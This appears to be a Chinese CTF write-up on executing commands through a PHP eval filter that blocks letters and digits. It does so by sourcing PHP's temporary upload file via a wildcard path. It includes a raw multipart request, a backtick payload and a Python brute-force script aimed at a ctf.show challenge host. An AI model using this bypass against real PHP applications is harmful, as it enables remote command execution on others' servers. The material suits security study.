读取php临时文件绕过

无字母数字webshell之提高篇 | 离别歌

原理

  • linux中. file能够直接执行命令,且不需要file有x权限的
  • 利用php上传文件会生成一个临时文件
    • windows默认:C:\Windows\php70DB.tmp(其中php后面四位数随机,会出现大写)
    • linux默认:/tmp/phpfxgnV5(其中php后面六位数随机,会出现大写)
  • 如果使用正则匹配相同数量字母,并且最后一位为大写字母,多次尝试就有可能读取成功,因为==linux下文件一般都是小写字母==。(要求:默认路径下面没有什么文件与php临时文件长度相符,格式相符的)
    • 注意:本地测试时,vmware环境中会出现/tmp/VMwareDnD文件夹和/tmp/phpfxgnV5长度相同,格式类似,不能够通过. /???/?????????方法执行/tmp/phpXXXXXX文件,记得删除。
  • 利用流程:构造post上传文件包,通过get或post方法==同时传输==构造的payload,上传临时文件同步读取执行临时文件。注意:如果分两个包上传,临时文件会在php调用后被删除
    • POST类型同时传输文件和payload,需要了解post流量包类型,如下相当于传输code=. /???/????????[@-[],并上传一个payload.txt文件
POST / HTTP/1.1
Host: 26943fab-b2b8-4d48-b22c-2fb3dae6e1e4.challenge.ctf.show
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 270
Content-Type: multipart/form-data; boundary=534e09de354693c7de29ae6648e70bf0

--534e09de354693c7de29ae6648e70bf0
Content-Disposition: form-data; name="code"

. /???/????????[@-[]
--534e09de354693c7de29ae6648e70bf0
Content-Disposition: form-data; name="file"; filename="payload.txt"

#! /bin/bash

ls
--534e09de354693c7de29ae6648e70bf0--

实测

  • 如果php代码过滤如下
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}
  • 可通过构造payload,执行命令:
?><?=`. /???/????????[@-[]`;?>`
  • GET类型题目
    在这里插入图片描述

  • POST类型题目

ctfshow-web应用安全与防护-无字母数字命令执行
在这里插入图片描述

爆破脚本

import requests
import time
import warnings
warnings.filterwarnings('ignore')

# 用于bp抓包测试流量
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080',
}

url = "http://26943fab-b2b8-4d48-b22c-2fb3dae6e1e4.challenge.ctf.show/"
data = {"code": ". /???/????????[@-[]"}

while True:
    # 每次重新打开文件,确保有内容。payload内容为ls,可修改为cat /var/www/html/flag.php
    with open("payload.txt", "rb") as f:  # 使用二进制模式
        file = {"file": f}
        response = requests.post(url, 
                                files=file, 
                                data=data, 
                                proxies=proxies,
                                verify=False)
        
        if response.text.find("flag") != -1:
            print(response.text)
            break
        else:
            print("Waiting for flag...")
            time.sleep(1)
Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐